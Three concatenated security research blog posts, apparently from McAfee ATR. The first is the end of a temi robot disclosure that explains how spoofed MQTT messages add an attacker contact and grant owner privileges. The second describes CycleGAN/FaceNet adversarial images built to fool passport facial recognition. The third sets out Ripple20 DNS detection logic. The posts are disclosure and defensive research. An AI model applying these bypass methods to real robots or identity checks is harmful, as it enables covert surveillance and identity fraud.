So now that we knew how an ADMIN’s contacts are synced to their temi, how could we leverage that knowledge to add ourselves to temi’s contact list in a discrete fashion? Well, if we could publish a message to temi’s synccontacts MQTT topic, we could add ourselves as a contact. Although temi does perform a check to make sure that the sender of the message is its ADMIN, it makes the mistake of trusting that the contents of the message accurately reflect the actual sender. In theory, there’s nothing stopping us from publishing a SyncContactsMessage from one client ID and setting the senderClientId field in the message to a completely different ID – the ADMIN’s client ID, for example.

Based on our understanding of how the temi robot parses MQTT requests to sync contacts, we crafted a JSON message that should decode into a valid SyncContactsMessage object and would add our “attack” phone to temi’s contacts:

Figure 70: Our custom SyncContactsMessage in JSON format

This message was crafted using the following rationale:

  1. Objects in JSON are indicated via curly braces ({}). Since the entire message contents are being converted into a single SyncContactsMessageobject, it follows that the contents should be contained within a pair of curly braces, representing the SyncContactsMessage object itself.
  2. A SyncContactsMessagecontains a senderClientId, a string indicating the client ID of the “sender” of the message. Thus, we added an element to our object with the key “senderClientId” and the string “060f62296e1ab8d0272b623f2f08f915” – the client ID of the temi’s admin – as its value.
  3. A SyncContactsMessagealso contains contacts, a list of ContactEntry Thus, we added an element with the key “contacts” and a new list as its value. In JSON, lists are indicated via square brackets ([]).
  4. In our case, the contacts list contains only a single ContactEntry – one corresponding to the “attack” phone, so we added a single pair of curly braces to the list to indicate the contents of this single ContactEntry.
  5. Each ContactEntry contains a clientId. Thus, we added an element to the object with the key “clientId” and the string “fe5d7af42433f0b6fb6875b6d640931b” – the client ID of the “attack” phone – as its value.
  6. Each ContactEntry also contains a name. Thus, we added a second element to the object with the key “name” and the string “Test” as its value. This simply represents the display name for the contact, so we could set it to basically whatever we liked.
  7. As for spacing and newlines, we referred to the Gson User Guide, since that’s the library temi was using to perform JSON serialization/deserialization. The guide states:

“The default JSON output that is provided by Gson is a compact JSON format. This means that there will not be any whitespace in the output JSON structure. Therefore, there will be no whitespace between field names and its value, object fields, and objects within arrays in the JSON output.”

As a result, whitespace and newlines have been omitted.

Now that we understood where to publish the request and what the request should look like, the next step was figuring out how to alter the temi phone app to send this request. Since we were aiming for a simple proof-of-concept, we prioritized ease and speed of implementation over robustness or elegance when considering which code to change. To this end, it made sense to leverage the code already present in the app that was dedicated to publishing MQTT messages since it would minimize the amount of code we needed to change and thus reduce the risk of introducing unintended bugs into our altered app – an ever-present risk when directly modifying an app’s bytecode. While the phone app publishes many MQTT messages to various topics during its runtime, we decided to try using the phone app’s video calling functionality. This had the obvious advantage of giving us clear control over when and how often the MQTT message is published, since calls are always initiated by hitting the “Connect” or “Call” buttons. Ultimately, we decided to leverage InvitationManagerImpl.sendInviteMsg() for this purpose. If we refer back to Figure 39 and our section “How are MQTT Call Invite Messages Published?”, the reason for this becomes apparent: sendInviteMsg() has a direct interface to MqttManagerImpl.publish(), the underlying method temi uses to publish arbitrary MQTT messages, while still being specific to the call chain for outgoing video calls. This meant that it would only get executed unless when we manually initiated a call from the app.

Running our altered app resulted in our attack phone being added to temi’s contact list, as shown in the following video:

Gaining OWNER Privileges

All that was left was for us to craft and publish a custom OwnersMessage in order to gain OWNER privileges on our temi. As before, we began by crafting the JSON for the message itself:

Figure 71: Our custom OwnersMessage in JSON format

This message was crafted using the following rationale:

  1. Since the entire message contents are being converted into a single OwnersMessage object, it follows that the contents should be contained within a pair of curly braces, representing the OwnersMessage object itself.
  2. An OwnersMessage contains a request, an object of the OwnersRequest class, and nothing else. Thus, we added an element with the key “request” and a new object as its value. The contents of this inner object will become our OwnersRequest.
  3. An OwnersRequest contains a type, an enum specifying the type of request. In our case we want to add an OWNER, so we added an element with the key “type” and the string “OWNERS_ADD” as its value. As for why we’re expressing this enum value as a string, it’s because this article shows that Gson’s default behavior is to express enum values as strings corresponding to the name of the enum value.
  4. An OwnersRequest also contains ownerIds, a list of strings enumerating the temi contacts the request should apply to. In our case, the list contains only a single ID – the ID of the “attack” phone, which is just the MD5 hash of its phone number.
  5. As before, spaces and newlines have been omitted, per the Gson User Guide.

Fortunately, we were able to leverage the code modifications we used to publish our SyncContactsMessage, since the only things changing were the MQTT topic we’re publishing to and the contents of the message.

Our full test consisted of running our first modified app in order to add ourselves to temi’s contact list, followed by our second modified app in order to perform privilege escalation, as shown in the following video:

The call appeared to be fully functional, and we were able to drive temi around, navigate to its saved locations, and receive its audio/video feeds. All an attacker needed to make this possible was the phone number of one of temi’s contacts.

This authentication bypass was the final and most impactful vulnerability we discovered in the temi robot, denoted by CVE-2020-16169 and having a CVSS score of 9.4. To better understand how this an auth bypass, let’s compare temi’s privilege management during normal operation:

Figure 72: temi’s privilege management during normal operation

to how it looks using our modified app:

Figure 73: temi’s privilege management with auth bypass

As you can see, although authentication is in place for adding OWNERs, it can be circumvented entirely by simply spoofing the MQTT message temi expects to receive from the REST server post-authentication.

Refining the Exploits

Once our exploits had the capabilities we initially set out to obtain, we got to work refining them. We created a single modified app that combined all of the MQTT attack vectors we previously outlined: it could intercept calls and send both MQTT messages necessary to obtain OWNER privileges, all with a single button press. Furthermore, we added some additional logic to automatically extract the client IDs required by our custom MQTT messages from the app’s contact list, meaning our app would work on any temi robot. To see all these features in action, please refer to the video below:

Impact

At this point it would be prudent to take a step back, review the combined capabilities of the exploits we’ve outlined, and consider what impact these might have in a real-world setting.

At the time of discovery, the vulnerabilities in the temi robot meant that an attacker could join any ongoing temi call simply by using a custom Agora app initialized with temi’s hardcoded App ID and iterating over all 900,000 possible channel names – certainly feasible with modern computing power. This becomes more plausible if one considers that our testing revealed that joining a temi call this way does not notify either of the existing call participants that another user is present, since the apps were only designed with 1-on-1 calling in mind. The fact that the attacker needs no information on the victims makes this attack vector worrisome, but it also means that the attacker has no control over who he or she spies on using this method. Realistically, a malicious actor might use this exploit as a means of reconnaissance – by collecting data on arbitrary temi users, they could follow up on the more “promising” ones later with one of the targeted attack vectors. Given temi’s limited adoption by consumers but ramping adoption in industries such as healthcare, the odds are in the attacker’s favor that they stumble upon sensitive information.

Furthermore, if an attacker has a specific victim in mind, they could leverage the lack of per-topic authentication in temi’s MQTT implementation in order to intercept calls between a user and their temi. The plausibility of this particular attack vector is difficult to evaluate. On the one hand, the only information the attacker needs is the victim’s phone number, and telemarketers consistently remind us that this is a very low bar. On the other hand, this exploit’s behavior during our testing proved somewhat inconsistent. At times, the user running the exploit could listen in on the call as a third party with the call participants being none the wiser. At other times, the user running the exploit would disconnect the original caller and take their place. It is easy to imagine scenarios where both of these outcomes are desirable to a malicious actor, and neither bodes well for the privacy of the user being targeted. It is also important to note that although we focused on using this vulnerability to intercept calls, it can also be used to intercept all sorts of notifications intended for another user: contacts being added, when temi goes online/offline, its current location, etc. While less flashy than intercepting a call, this approach is more discreet and might allow a dedicated attacker to learn a user’s routine, only showing their hand to listen in when it would be most impactful.

Of the possible attack vectors, we believe that the ability to call and control a temi remotely, leveraging the authentication bypass present in temi’s privilege management mechanism, is the most impactful. The bar for this attack vector is arguably even lower than the previous, as the attacker would only need the phone number of any of temi’s contacts – it need not be its admin. In our testing, none of the steps involved in leveraging this exploit notify temi’s admin in any way that something is amiss; they are not notified that the attacker has added themselves to the robot’s contact list nor that they have gained raised privileges. Since this method does not cause temi to ring, an observer would have to see the attacker move temi or have a good look at its touchscreen during the attack to know something nefarious was going on. This level of control and subtlety becomes especially problematic when we consider some of temi’s applications in industry. In April of this year, Robotemi Global Ltd. stepped up production to 1,000 units per month in response to Israel’s Ministries of Defense and Health choosing temi to assist with patients in their COVID-19 wards. In South Korea, temi sees use in both public places and nursing homes, helping to facilitate social distancing. Besides the obvious impact of compromising patients’ sensitive medical information during remote doctor’s visits, the ability to have eyes and ears into a hospital is worrying in its own right. It isn’t difficult to imagine what a malicious agent might do with an overheard network password, access code to a sensitive area, or the location and condition of a person of interest.

Conclusion

The findings outlined in this paper highlight the importance of secure coding practices and security auditing for cutting edge technologies, particularly in the IoT space. When an IoT camera evolves into one that can also drive around your home or business and even assist medical patients, the need to properly secure who can access it only becomes more important. While history has demonstrated that any sufficiently complex software is bound to have vulnerabilities, there are many steps we can take to substantially raise the bar for bad actors. In our view, these responsibilities are shared between vendors, consumers, and the security industry as a whole.

First and foremost, vendors can ensure they are employing proper security hygiene when designing products. Often, best practices consist not of novel, out-of-the-box thinking, but rather adopting time-tested guidelines like the principle of least privilege. In the case of temi, application of this principle likely would have addressed CVE-2020-16167, which allows clients to subscribe/publish to topics they have no business accessing. Considerations for security should also extend beyond the development phase, with third-party security auditing being a powerful tool that allows vendors to discover and patch vulnerabilities before the bad guys get ahold of them. Taking vulnerability disclosure seriously and cooperating with the bodies that report them can often net similar benefits, and this is an area Robotemi excelled in.

Consumers of these technologies, at either the individual or enterprise level, also share some of the responsibility. Companies should ideally vet all technologies before widespread adoption, particularly if these technologies have access to customer information. It goes without saying that greater risk warrants greater scrutiny. Individuals, while typically having fewer resources, can also take certain precautions. Placing IoT devices on a VLAN, a virtually segregated subnetwork, reduces the risk that a vulnerability in one device will compromise your entire network. Staying up to date on important vulnerabilities can also help inform consumers’ purchasing decisions, although the presence of vulnerabilities is often less illuminating than if/how a company chooses to address them.

Finally, we in the security industry also have an obligation towards moving the needle in the realm of security, one that we hope research such as this embodies. One of our goals here at McAfee ATR is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. While we take seriously our obligation to inform vendors of our findings in a timely and responsible fashion, it is only through cooperation that the best results are possible. Our partnership with Robotemi on addressing these vulnerabilities was a perfect example of this. They responded quickly to our private disclosure report, outlined to us their plans for mitigations and an associated timeline, and maintained a dialogue with us throughout the whole process. We even received feedback that they have further emphasized security in their products by approaching all development discussions with a security-first mindset as a result of this disclosure. The ultimate result is a product that is more secure for all who use it.

The post Call an Exorcist! My Robot’s Possessed! appeared first on McAfee Blogs.

Dopple-ganging up on Facial Recognition Systems

Co-authored with Jesse Chick, OSU Senior and Former McAfee Intern, Primary Researcher.

Special thanks to Dr. Catherine Huang, McAfee Advanced Analytics Team
Special thanks to Kyle Baldes, Former McAfee Intern

“Face” the Facts

There are 7.6 Billion people in the world. That’s a huge number! In fact, if we all stood shoulder to shoulder on the equator, the number of people in the world would wrap around the earth over 86 times! That’s just the number of living people today; even adding in the history of all people for all time, you will never find two identical human faces. In fact, in even some of the most similar faces recorded (not including twins) it is quite easy to discern multiple differences. This seems almost impossible; it’s just a face, right? Two eyes, a nose, a mouth, ears, eyebrows and potentially other facial hair. Surely, we would have run into identical unrelated humans by this point. Turns out, there’s SO much more to the human face than this which can be more subtle than we often consider; forehead size, shape of the jaw, position of the ears, structure of the nose, and thousands more extremely minute details.

You may be questioning the significance of this detail as it relates to McAfee, or vulnerability research. Today, we’ll explore some work undertaken by McAfee Advanced Threat Research (ATR) in the context of data science and security; specifically, we looked at facial recognition systems and whether they were more, or less susceptible to error than we as human beings.

Look carefully at the four images below; can you spot which of these is fake and which are real?

StyleGAN images

The answer may surprise you; all four images are completely fake – they are 100% computer-generated, and not just parts of different people creativally superimposed. An expert system known as StyleGAN generated each of these, and millions more, with varying degrees of photorealism, from scratch.

This impressive technology is equal parts revolutions in data science and emerging technology that can compute faster and cheaper at a scale we’ve never seen before. It is enabling impressive innovations in data science and image generation or recognition, and can be done in real time or near real time. Some of the most practical applications for this are in the field of facial recognition; simply put, the ability for a computer system to determine whether two images or other media represent the same person or not. The earliest computer facial recognition technology dates back to the 1960s, but until recently, has either been cost-ineffective, false positive or false negative prone, or too slow and inefficient for the intended purpose.

The advancements in technology and breakthroughs in Artificial Intelligence and Machine Learning have enabled several novel applications for facial recognition. First and foremost, it can be used as a highly reliable authentication mechanism; an outstanding example of this is the iPhone. Beginning with the iPhone X in 2017, facial recognition was the new de facto standard for authenticating a user to their mobile device. While Apple uses advanced features such as depth to map the target face, many other mobile devices have implemented more standard methods based on the features of the target face itself; things we as humans see as well, including placement of eyes, width of the nose, and other features that in combination can accurately identify a single user. More simplistic and standard methods such as these may inherently suffer from security limitations relative to more advanced capabilities, such as the 3D camera capture. In a way, this is the whole point; the added complexity of depth information is what makes pixel-manipulation attacks impossible.

Another emerging use case for facial recognition systems is for law enforcement. In 2019, the Metropolitan Police in London announced the rollout of a network of cameras designed to aid police in automating the identification of criminals or missing persons. While widely controversial, the UK is not alone in this initiative; other major cities have piloted or implemented variants of facial recognition with or without the general population’s consent. In China, many of the trains and bus systems leverage facial recognition to identify and authenticate passengers as they board or unboard. Shopping centers and schools across the country are increasingly deploying similar technology.

More recently, in light of racial profiling and racial bias demonstrated repeatedly in facial recognition AI, IBM announced that it would eliminate its facial recognition programs given the way it could be used in law enforcement. Since then, many other major players in the facial recognition business have suspended or eliminated their facial recognition programs. This may be at least partially based on a high profile “false positive” case in which authorities errantly based an arrest of an individual on an incorrect facial recognition match of a black man named Robert Williams. The case is known as the country’s first wrongful arrest directly resulting from facial recognition technology.

Facial recognition has some obvious benefits of course, and this recent article details the use of facial recognition technology in China to track down and reunite a family many years after an abduction. Despite this, it remains a highly polarizing issue with significant privacy concerns, and may require significant further development to reduce some of the inherent flaws.

Live Facial Recognition for Passport Validation

Our next use case for facial recognition may hit closer to home than you realize. Multiple airports, including many in the United States, have deployed facial recognition systems to aid or replace human interaction for passport and identity verification. In fact, I was able to experience one of these myself in the Atlanta airport in 2019. It was far from ready, but travellers can expect to see continued rollouts of this across the country. In fact, based on the global impact COVID-19 has had on travel and sanitization, we are observing an unprecedented rush to implement touchless solutions such as biometrics. This is of course being done from a responsibility standpoint, but also from an airlines and airport profitability perspective. If these two entities can’t convince travelers that their travel experience is low-risk, many voluntary travelers will opt to wait until this assurance is more solid. This article expands on the impact Coronavirus is having on the fledgling market use of passport facial recognition, providing specific insight into Delta and United Airlines’ rapid expansion of the tech into new airports immediately, and further testing and integration in many countries around the world. While this push may result in less physical contact and fewer infections, it may also have the side-effect of exponentially increasing the attack surface of a new target.

The concept of passport control via facial recognition is quite simple. A camera takes a live video and/or photos of your face, and a verification service compares it to an already-existing photo of you, collected earlier. This could be from a passport or a number of other sources such as the Department of Homeland Security database. The “live” photo is most likely processed into a similar format (image size, type of image) as the target photo, and compared. If it matches, the passport holder is authenticated. If not, an alternate source will be checked by a human operator, including boarding passes and forms of ID.

As vulnerability researchers, we need to be able to look at how things work; both the intended method of operation as well as any oversights. As we reflected on this growing technology and the extremely critical decisions it enabled, we considered whether flaws in the underlying system could be leveraged to bypass the target facial recognition systems. More specifically, we wanted to know if we could create “adversarial images” in a passport-style format, that would be incorrectly classified as a targeted individual. (As an aside, we performed related attacks in both digital and physical mediums against image recognition systems, including research we released on the MobilEye camera deployed in certain Tesla vehicles.)

The conceptual attack scenario here is simple. We’ll refer to our attacker as Subject A, and he is on the “no-fly” list – if a live photo or video of him matches a stored passport image, he’ll immediately be refused boarding and flagged, likely for arrest. We’ll assume he’s never submitted a passport photo. Subject A (AKA Jesse), is working together with Subject B (AKA Steve), the accomplice, who is helping him to bypass this system. Jesse is an expert in model hacking and generates a fake image of Steve through a system he builds (much more on this to come). The image has to look like Steve when it’s submitted to the government, but needs to verify Jesse as the same person as the adversarial fake “Steve” in the passport photo. As long as a passport photo system classifies a live photo of Jesse as the target fake image, he’ll be able to bypass the facial recognition.

If this sounds far-fetched to you, it doesn’t to the German government. Recent policy in Germany included verbiage to explicitly disallow morphed or computer-generated combined photos. While the techniques discussed in this link are closely related to this, the approach, techniques and artifacts created in our work vary widely. For example, the concepts of face morphing in general are not novel ideas anymore; yet in our research, we use a more advanced, deep learning-based morphing approach, which is categorically different from the more primitive “weighted averaging” face morphing approach.

Over the course of 6 months, McAfee ATR researcher and intern Jesse Chick studied state-of-the-art machine learning algorithms, read and adopted industry papers, and worked closely with McAfee’s Advanced Analytics team to develop a novel approach to defeating facial recognition systems. To date, the research has progressed through white box and gray box attacks with high levels of success – we hope to inspire or collaborate with other researchers on black box attacks and demonstrate these findings against real world targets such as passport verification systems with the hopes of improving them.

The Method to the Madness

The term GAN is an increasingly-recognized acronym in the data science field. It stands for Generative Adversarial Network and represents a novel concept using one or more “generators” working in tandem with one or more “discriminators.” While this isn’t a data science paper and I won’t go into great detail on GAN, it will be beneficial to understand the concept at a high level. You can think of GAN as a combination of an art critic and an art forger. An art critic must be capable of determining whether a piece of art is real or forged, and of what quality the art is. The forger of course, is simply trying to create fake art that looks as much like the original as possible, to fool the critic. Over time, the forger may outwit the critic, and at other times the opposite may hold true, yet ultimately, over the long run, they will force each other to improve and adapt their methods. In this scenario, the forger is the “generator” and the art critic is the “discriminator.” This concept is analogous to GAN in that the generator and discriminator are both working together and also opposing each other – as the generator creates an image of a face, for example, the discriminator determines whether the image generated actually looks like a face, or if it looks like something else. It rejects the output if it is not satisfied, and the process starts over. This is repeated in the training phase for as long of a time as it takes for the discriminator to be convinced that the generator’s product is high enough quality to “meet the bar.”

One such implementation we saw earlier, StyleGAN, uses these exact properties to generate the photorealistic faces shown above. In fact, the research team tested StyleGAN, but determined it was not aligned with the task we set out to achieve: generating photorealistic faces, but also being able to easily implement an additional step in face verification. More specifically, its sophisticated and niche architecture would have been highly difficult to harness successfully for our purpose of clever face-morphing. For this reason, we opted to go with a relatively new but powerful GAN framework known as CycleGAN.

CycleGAN

CycleGAN is a GAN framework that was released in a paper in 2017. It represents a GAN methodology that uses two generators and two discriminators, and in its most basic sense, is responsible for translating one image to another through the use of GAN.

Image of zebras translated to horses via CycleGAN

There are some subtle but powerful details related to the CycleGAN infrastructure. We won’t go into depth on these, but one important concept is that CycleGAN uses higher level features to translate between images. Instead of taking random “noise” or “pixels” in the way StyleGAN translates into images, this model uses more significant features of the image for translation (shape of head, eye placement, body size, etc…). This works very well for human faces, despite the paper not specifically calling out human facial translation as a strength.

Face Net and InceptionResnetV1

While CycleGAN is an novel use of the GAN model, in and of itself it has been used for image to image translation numerous times. Our facial recognition application facilitated the need for an extension of this single model, with an image verification system. This is where FaceNet came into play. The team realized that not only would our model need to accurately create adversarial images that were photorealistic, it would also need to be verified as the original subject. More on this shortly. FaceNet is a face recognition architecture that was developed by Google in 2015, and was and perhaps still is considered state of the art in its ability to accurately classify faces. It uses a concept called facial embeddings to determine mathematical distances between two faces in a dimension. For the programmers or math experts, 512 dimensional space is used, to be precise, and each embedding is a 512 dimensional list or vector. To the lay person, the less similar the high level facial features are, the further apart the facial embeddings are. Conversely, the more similar the facial features, the closer together these faces are plotted. This concept is ideal for our use of facial recognition, given FaceNet operates against high level features of the face versus individual pixels, for example. This is a central concept and a key differentiator between our research and “shallow”adversarial image creation a la more traditionally used FGSM, JSMA, etc. Creating an attack that operates at the level of human-understandable features is where this research breaks new ground.

One of the top reasons for FaceNet’s popularity is that is uses a pre-trained model with a data set trained on hundreds of millions of facial images. This training was performed using a well-known academic/industry-standard dataset, and these results are readily available  for comparison. Furthermore, it achieved very high published accuracy (99.63%) when used on a set of 13,000 random face images from a benchmark set of data known as LFW (Labeled Faces in the Wild). In our own in-house evaluation testing, our accuracy results were closer to 95%.

Ultimately, given our need to start with a white box to understand the architecture, the solution we chose was a combination of CycleGAN and an open source FaceNet variant architecture known as InceptionResnet version 1. The ResNet family of deep neural networks uses learned filters, known as convolutions, to extract high-level information from visual data. In other words, the role of deep learning in face recognition is to transform an abstract feature from the image domain, i.e. a subject’s identity, into a domain of vectors (AKA embeddings) such that they can be reasoned about mathematically. The “distance” between the outputs of two images depicting the same subject should be mapped to a similar region in the output space, and two very different regions for input depicting different subjects. It should be noted that the success or failure of our attack is contingent on its ability to manipulate the distance between these face embeddings. To be clear, FaceNet is the pipeline consisting of data pre-processing, Inception ResNet V1, and data separation via a learned distance threshold.

Training

Whoever has the most data wins. This truism is especially relevant in the context of machine learning. We knew we would need a large enough data set to accurately train the attack generation model, but we guessed that it would be smaller than many other use cases. This is because given our goal was simply to take two people, subject A (Jesse) and subject B (Steve) below and minimize the “distance” between the two face embeddings produced when inputted into FaceNet, while preserving a misclassification in either direction. In other words, Jesse needed to look like Jesse in his passport photo, and yet be classified as Steve, and vice versa. We’ll describe facial embeddings and visualizations in detail shortly.

The training was done on a set of 1500 images of each of us, captured from live video as stills. We provided multiple expressions and facial gestures that would enrich the training data and accurately represent someone attempting to take a valid passport photo.

The research team then integrated the CycleGAN + FaceNet architecture and began to train the model.

As you can see from the images below, the initial output from the generator is very rough – these certainly look like human beings (sort of), but they’re not easily identifiable and of course have extremely obvious perturbations, otherwise known as “artifacts.”

However, as we progress through training over dozens of cycles, or epochs, a few things are becoming more visually apparent. The faces begin to clean up some of the abnormalities while simultaneously blending features of both subject A and subject B. The (somewhat frightening) results look something like this:

Progressing even further in the training epochs, and the discriminator is starting to become more satisfied with the generator’s output. Yes, we’ve got some detail to clean up, but the image is starting to look much more like subject B.

A couple hundred training epochs in, and we are producing candidates that would meet the bar for this application; they would pass as valid passport photos.

Fake image of Subject B

Remember, that with each iteration through this training process, the results are systematically fed into the facial recognition neural network and classified as Subject A or Subject B. This is essential as any photo that doesn’t “properly misclassify” as the other, doesn’t meet one of the primary objectives and must be rejected. It is also a novel approach as there are very few research projects which combine a GAN and an additional neural network in a cohesive and iterative approach like this.

We can see visually above that the faces being generated at this point are becoming real enough to convince human beings that they are not computer-generated. At the same time, let’s look behind the curtain and see some facial embedding visualizations which may help clarify how this is actually working.

To further understand facial embeddings, we can use the following images to visualize the concept. First, we have the images used for both training and generation of images. In other words, it contains real images from our data set and fake (adversarial) generated images as shown below:

Model Images (Training – Real_A & Real_B) – Generated (Fake_B & Fake_A)

This set of images is just one epoch of the model in action – given the highly realistic fake images generated here, it is not surprisingly a later epoch in the model evaluation.

To view these images as mathematical embeddings, we can use a visualization representing them on a multidimensional plane, which can be rotated to show the distance between them. It’s much easier to see that this model represents a cluster of “Real A” and “Fake B” on one side, and a separate cluster of “Real B” and “Fake A” on the other. This is the ideal attack scenario as it clearly shows how the model will confuse the fake image of the accomplice with the real image of the attacker, our ultimate test.

White Box and Gray Box Application

With much of machine learning, the model must be both effectively trained as well as able to reproduce and replicate results in future applications. For example, consider a food image classifier; its job being to correctly identify and label the type of food it sees in an image. It must have a massive training set so that it recognizes that a French Fry is different than a crab leg, but it also must be able to reproduce that classification on images of food it’s never seen before with a very high accuracy. Our model is somewhat different in that it is trained specifically on two people only (the adversary and the accomplice), and its job is done ahead of time during training. In other words, once we’ve generated a photorealistic image of the attacker that is classified as the accomplice, the model’s job is done. One important caveat is that it must work reliably to both correctly identify people and differentiate people, much like facial recognition would operate in the real world.

The theory behind this is based on the concept of transferability; if the models and features chosen in the development phase (called white box, with full access to the code and knowledge of the internal state of the model and pre-trained parameters) are similar enough to the real-world model and features (black box, no access to code or classifier) an attack will reliably transfer – even if the underlying model architecture is vastly different. This is truly an incredible concept for many people, as it seems like an attacker would need to understand every feature, every line of code, every input and output, to predict how a model will classify “adversarial input.” After all, that’s how classical software security works for the most part. By either directly reading or reverse engineering a piece of code, an attacker can figure out the precise input to trigger a bug. With model hacking (often called adversarial machine learning), we can develop attacks in a lab and transfer them to black box systems. This work, however, will take us through white box and gray box attacks, with possible future work focusing on black box attacks against facial recognition.

As mentioned earlier, a white box attack is one that is developed with full access to the underlying model – either because the researcher developed the model, or they are using an open source architecture. In our case, we did both to identify the ideal combination discussed above, integrating CycleGAN with various open source facial recognition models. The real Google FaceNet is proprietary, but it has been effectively reproduced by researchers as open source frameworks that achieve very similar results, hence our use of Inception Resnet v1. We call these versions of the model “gray box” because they are somewhere in the middle of white box and black box.

To take the concepts above from theory to the real world, we need to implement a physical system that emulates a passport scanner. Without access to the actual target system, we’ll simply use an RGB camera, such as the external one you might see on desktops in a home or office. The underlying camera is likely quite similar to the technology used by a passport photo camera. There’s some guesswork needed to determine what the passport camera is doing, so we take some educated liberties. The first thing to do is programmatically capture every individual frame from the live video and save them in memory for the duration of their use. After that, we apply some image transformations, scaling them to a smaller size and appropriate resolution of a passport-style photo. Finally, we pass each frame to the underlying pretrained model we built and ask it to determine whether the face it is analyzing is Subject A (the attacker), or Subject B (the accomplice). The model has been trained on enough images and variations of both that even changes in posture, position, hair style and more will still cause a misclassification. It’s worth noting that in this attack method, the attacker and accomplice are working together and would likely attempt to look as similar as possible to the original images in the data set the model is trained, as it would increase the overall misclassification confidence.

The Demos

The following demo videos demonstrate this attack using our gray box model. Let’s introduce the 3 players in these videos. In all three, Steve is the attacker now, Sam is our random test person, and Jesse is our accomplice. The first will show the positive test.

Positive Test:

This uses a real, non-generated image on the right side of the screen of Steve (now acting as our attacker). Our random test person (Sam), first stands in front of the live “passport verification camera” and is compared against the real image of Steve. They should of course be classified as different. Now Steve stands in front of the camera and the model correctly identifies him against his picture, taken from the original and unaltered data set. This proves the system can correctly identify Steve as himself.

Negative Test:

Next is the negative test, where the system tests Sam against a real photo of Jesse. He is correctly classified as different, as expected. Then Steve stands in front of the system and confirms the negative test as well, showing that the model correctly differentiates people in non-adversarial conditions.

Adversarial Test:

Finally, in the third video, Sam is evaluated against an adversarial, or fake image of Jesse, generated by our model. Since Sam was not part of the CycleGAN training set designed to cause misclassification, he is correctly shown as different again. Lastly, our attacker Steve stands in front of the live camera and is correctly misclassified as Jesse (now the accomplice). Because the model was trained for either Jesse or Steve to be the adversarial image, in this case we chose Jesse as the fake/adversarial image.

If a passport-scanner were to replace a human being completely in this scenario, it would believe it had just correctly validated that the attacker was the same person stored in the passport database as the accomplice. Given the accomplice is not on a no-fly list and does not have any other restrictions, the attacker can bypass this essential verification step and board the plane. It’s worth noting that a human being would likely spot the difference between the accomplice and attacker, but this research is based off of the inherent risks associated with reliance on AI and ML alone, without providing defense-in-depth or external validation, such as a human being to validate.

Positive Test Video – Confirming Ability to Recognize a Person as Himself

Negative Test Video – Confirming Ability to Tell People Apart

Adversarial Test Video – Confirming Ability to Misclassify with Adversarial Image

What Have we Learned?

Biometrics are an increasingly relied-upon technology to authenticate or verify individuals and are effectively replacing password and other potentially unreliable authentication methods in many cases. However, the reliance on automated systems and machine learning without considering the inherent security flaws present in the mysterious internal mechanics of face-recognition models could provide cyber criminals unique capabilities to bypass critical systems such as automated passport enforcement. To our knowledge, our approach to this research represents the first-of-its-kind application of model hacking and facial recognition. By leveraging the power of data science and security research, we look to work closely with vendors and implementors of these critical systems to design security from the ground up, closing the gaps that weaken these systems. As a call to action, we look to the community for a standard by which can reason formally about the reliability of machine learning systems in the presence of adversarial samples. Such standards exist in many verticals of computer security, including cryptography, protocols, wireless radio frequency and many more. If we are going to continue to hand off critical tasks like authentication to a black box, we had better have a framework for determining acceptable bounds for its resiliency and performance under adverse conditions.

For more information on research efforts by McAfee Advanced Threat Research, please follow our blog or visit our website.

The post Dopple-ganging up on Facial Recognition Systems appeared first on McAfee Blogs.

Ripple20 Critical Vulnerabilities – Detection Logic and Signatures

This document has been prepared by McAfee Advanced Threat Research in collaboration with JSOF who discovered and responsibly disclosed the vulnerabilities. It is intended to serve as a joint research effort to produce valuable insights for network administrators and security personnel, looking to further understand these vulnerabilities to defend against exploitation. The signatures produced here should be thoroughly considered and vetted in staging environments prior to being used in production and may benefit from specific tuning to the target deployment. There are technical limitations to this work, including the fact that more complex methods of detection might be required to detect these vulnerabilities. For example, multiple layers of encapsulation may obfuscate the exploitation of the flaws and increase the difficulty of detection.

We have also provided packet captures taken from the vulnerability Proof-of-Concepts as artifacts for testing and deployment of either the signatures below or customized signatures based on the detection logic. Signatures and Lua Scripts are located on ATR’s Github page, as well as inline and in the appendix of this document respectively.

As of this morning (August 5th), JSOF has presented additional technical detail and exploitation analysis at BlackHat 2020, on the two most critical vulnerabilities in DNS.

The information provided herein is subject to change without notice, and is provided “AS IS”, with all faults, without guarantee or warranty as to the accuracy or applicability of the information to any specific situation or circumstance and for use at your own risk. Additionally, we cannot guarantee any performance or efficacy benchmarks for any of the signatures.

Integer Overflow in tfDnsExpLabelLength Leading to Heap Overflow and RCE

CVE: CVE-2020-11901 (Variant 1)
CVSS: 9
Protocol(s): DNS over UDP (and likely DNS over TCP)
Port(s): 53

Vulnerability description:
In the Treck stack, DNS names are calculated via the function tfDnsExpLabelLength. A bug exists in this function where the computation is performed using an unsigned short, making it possible to overflow the computed value with a specially constructed DNS response packet. Since tfDnsExpLabelLength computes the full length of a DNS name after it is decompressed, it is possible to induce an overflow using a DNS packet far smaller than 216 bytes. In some code paths, tfGetRawBuffer is called shortly after tfDnsExpLabelLength, allocating a buffer on the heap where the DNS name will be stored using the size computed by tfDnsExpLabelLength, thus leading to a heap overflow and potential RCE.

While newer versions of the Treck stack will stop copying the DNS name into the buffer as soon as a character that isn’t alphanumeric or a hyphen is reached, older versions do not have this restriction and further use predictable transaction IDs for DNS queries, making this vulnerability easier to exploit.

Limitations or special considerations for detection:
Ideally, detection logic for this vulnerability would involve independently computing the uncompressed length of all DNS names contained within incoming DNS responses. Unfortunately, this may be computationally expensive for a device to perform for every incoming DNS response, especially since each one may contain many DNS names. Instead, we must rely on a combination of heuristics.

Furthermore, it is currently unclear whether exercising this vulnerability is possible when using EDNS(0) or DNS over TCP. We recommend assuming it is possible for the purposes of implementing detection logic.  During our testing, an inconsistency in how Suricata handled DNS over TCP was discovered – in some cases it was correctly identified as DNS traffic and in other cases, it was not. Consequently, two rules have been created to determine the size of DNS over TCP traffic. The second rule uses the TCP primitive instead of the DNS primitive; however, the second rule will only be evaluated if not flagged by the first rule.

Because the Suricata rule in dns_invalid_size.rules uses the DNS responses’ EDNS UDP length, which may be controlled by the attacker, a second upper limit of 4096 bytes is enforced.

Recommended detection criteria:

  • The device must be capable of processing DNS traffic and matching responses to their corresponding requests.
  • The device must be capable of identifying individual DNS names within individual DNS packets.
  • The device should flag any DNS responses whose size exceeds what is “expected”. The expected size depends on the type of DNS packet sent:
      • For DNS over TCP, the size should not exceed the value specified in the first two bytes of the TCP payload.
